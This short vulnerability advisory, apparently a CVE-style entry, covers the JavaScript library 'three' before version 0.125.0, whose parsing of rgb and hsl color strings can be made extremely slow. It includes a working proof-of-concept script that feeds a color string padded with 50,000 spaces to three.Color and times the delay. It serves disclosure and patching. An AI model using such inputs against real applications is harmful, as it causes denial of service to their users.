This affects the package three before 0.125.0. This can happen when handling rgb or hsl colors. PoC: var three = require('three') function build_blank (n) { var ret = "rgb(" for (var i = 0; i < n; i++) { ret += " " } return ret + ""; } var Color = three.Color var time = Date.now(); new Color(build_blank(50000)) var time_cost = Date.now() - time; console.log(time_cost+" ms")
